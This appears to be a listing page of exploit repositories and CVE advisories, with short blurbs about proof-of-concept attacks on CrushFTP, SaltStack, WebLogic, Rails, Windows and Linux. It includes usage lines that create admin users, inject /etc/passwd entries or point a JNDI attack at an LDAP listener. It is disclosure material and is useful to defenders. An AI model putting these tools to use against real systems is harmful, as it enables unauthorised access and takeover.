Blackash-CVE-2025-31161

Blackash-CVE-2025-31161 CVE-2025-31161 CVE-2025-31161 / CVE-2025-2825 的概念验证 此 POC 将利用 authbypass 漏洞创建一个具有管理员级别权限的新用户账户。认证绕过需要 CrushFTP 服务器上现有用户的用户名（targetuser）。默认设置为 "crushadmin" 用法 root@kitploit: usage: cve-2025-31161.py -h --targethost TARGETHOST --port PORT --targetuser TARGETUSER --newuser...

ThemeBleedPy

衷心感谢 gabek 在 C 中提供了初始 PoC，并实际发现了这个 CVE。这是用 Python 对他的代码进行的重制，复用了他的 stage 文件。 要查看原始 PoC，请访问他的页面：https://github.com/gabe-k/themebleed ThemeBleedPy 一个使用 Python 针对 CVE-2023-38146 “ThemeBleed” 的概念验证。 要求： 该程序使用 Impackets SMB 服务器 并重写了 smb2Create 函数，因此需要 Impackets 的功能。 root@kitploit: Usage: Replace...

CVE-2020-11651

CVE-2020-11651 一个利用 SaltStack CVE-2020-11651 和 CVE-2020-11652 漏洞的脚本，通过向 /etc/passwd 和 /etc/shadow 注入记录，将新用户添加到易受攻击的 Salt 主节点。 root@kitploit: Exploit Title: Saltstack 3000.1 - Remote Code Execution 日期: 2020-05-04 原始漏洞作者: Jasper Lievisse Adriaanse 修改作者: Drew Alleman 厂商主页: https://www.saltstack.com/...

CVE-2019-7214

CVE-2019-7214 root@kitploit: Exploit Title: SmarterMail...

cve-2018-4013

cve-2018-4013 cve-2018-4013 poc 简要复现 reference TALOS-2018-0684 || Cisco Talos Intelligence Group - Comprehensive Threat Intelligence TODO : exploit...

CVE-2024-30090

CVE-2024-30090 - 本地提权 PoC CVE-2024-30090 由 Angelboy 与 DEVCORE 发现。 Parent.cpp 通过 NtQuerySystemInformation（中等完整性）获取 ntoskrnl 基址 - 以 x64 编译 。 Child.cpp CVE-2024-30090 的漏洞利用 - 以 x86 编译 。 致谢 特别 感谢 Angelboy 的帮助与指导！ Cedric Halbronn 的 'OST2 - 漏洞利用 4011 - Windows 内核漏洞利用' - winhelpers.h。 bruno-1337 -...

CVE-2012-1823-exploit-for-https-user-password-web

CVE-2012-1823 文件是漏洞利用程序 使用：python3 CVE-2012-1823.py CVE-2012-1823,CVE-2021-2291.py 文件用于检测网站是否存在 CVE-2012-1823 或 CVE-2021-2291 漏洞 使用：python3 CVE-2012-1823,CVE-2021-2291.py 命令：whoami cd ls 已在 Kali Linux 上测试...

SMB-PenTest-Exploiting-CVE-2007-2447-on-Metasploitable-2

SMB-PenTest-Exploiting-CVE-2007-2447-on-Metasploitable-2 RedTeam-SMB-PenTest | ---|--- 描述 本项目记录了我在UMGC的CMIT 386课程中进行的渗透测试工作。它重点介绍了如何从Kali Linux攻击虚拟机使用Metasploit，利用Metasploitable 2上的Samba SMB usermapscript漏洞（CVE-2007-2447）。此概念验证展示了旧版漏洞如何导致系统完全受损、凭据窃取和数据外泄。 漏洞概述 该漏洞位于445端口上的Samba服务中，username...

Metasploit-Exploits-CVE-2023-6710

CVE-2023-6710 漏洞利用 POC 通过 Metasploit 和我们全面的概念验证 PoC，深入探索 CVE-2023-6710。该 CVE 被认定为潜在安全漏洞，我们对其进行了细致研究，以展示其影响并提供对相关风险的实践理解。 安装 git clone https://github.com/DedSec-47/Metasploit-Exploits-CVE-2023-6710.git cd Metasploit-Exploits-CVE-2023-6710 sudo mv modclusterxss.rb...

CVE-2020-14882

CVE-2020-14882 此脚本利用未经身份验证的GET请求在Oracle WebLogic Server上实现远程代码执行（RCE）。它利用了漏洞CVE-2020-14882。通过执行任意命令，攻击者可以未经授权地访问服务器。 漏洞利用详细信息 Exploit标题：Oracle WebLogic Server，通过GET请求实现未经身份验证的RCE Exploit作者：Danny Safaya CVE：CVE-2020-14882 厂商主页：Oracle WebLogic Server 软件链接：Oracle Middleware Downloads 更多信息：WebLogic R...

CVE-2016-2098-my-first-exploit

CVE-2016-2098-我的第一个漏洞利用 该漏洞利用是针对 Ruby-on-Rails 中在用户提供的数据上使用 render 时的远程代码执行漏洞。 它使用 Python3 编写，并且记得安装 requests 库。下面是命令。 root@kitploit: pip3 install requests...

magento-cve-2024-34102-exploit-cosmicstring

CVE 2024-34102 - CosmicSting XXE Vulnerability in Adobe Commerce & Magento - Educational Material This repository contains slides and demo material for my talk on the latest XML External Entity XXE vulnerability in Adobe Commerce and Magento. The purpose of these materials is purely educational,...

CVE-2020-14645

CVE-2020-14645 使用方法 首先使用NDI-Injection-Exploit监听，并生成一个ldap地址。 java -jar WeblogicT3.jar -Target 127.0.0.1 -Port 7001 -RMI ldap://127.0.0.1:1389/dozvtq --SSL -Tatget 和-RMI必填，https可使用--SSL参数，-Port默认7001。 自行编译需要添加coherence.jar和wlfullclient.jar 漏洞参考：...

CVE-2026-18238

A flaw was found in libpcap. The rpcap client code, which processes RPCAPMSGPACKET messages from a server, incorrectly validates its headers. A malicious server could exploit this vulnerability by sending a specially crafted message, causing the client to read up to 20 bytes of memory beyond its...

CVE-2026-6244

A flaw was found in libpcap. The Berkeley Packet Filter BPF interpreter's 'div k' and 'mod k' instructions do not validate if the immediate value 'k' is zero. A local attacker with low privileges could exploit this by providing a specially crafted filter program, leading to a division-by-zero...

copy-fail-zig

Implementación en Zig de Copy Fail CVE-2026-31431 Implementación en Zig de la prueba de concepto de 732 bytes para el LPE de Linux Copy Fail CVE-2026-31431, divulgado por Theori / Xint el 29 de abril de 2026. El análisis técnico se puede encontrar en copy.fail. Esta implementación no tiene...

CVE-2024-3829

CVE-2024-3829 for Qdrant - Exploit root@kitploit: THIS IS AN EXPLOIT FOR CVE-2024-3829 IN QDRANT 1.9.0-dev | || | | || | | || || || | | | | | | | | || | | || || || | | || | | || || || | | | | || | | || | | | | || || | || | || | | | | || ||| | || | | || || | | || || | | || || || || | | || | | || |...

cve-2019-5420-POC

Rails ActiveSupport Exploit cve-2019-5420 POC consider this to chain CVE-2019-5418! Pairs lovely with CVE-2019-5418! POC Screenshot 🚨 Warning This repository contains a proof-of-concept PoC exploit demonstrating remote code execution RCE in Ruby on Rails applications via...

CVE-2026-80175

Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Insertion of Sensitive Information into Externally-Accessible File or Directory vulnerability. A low privileged attacker with local access could potentially exploit this...

CVE-2026-80122

Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Certificate Validation vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to unauthorized access...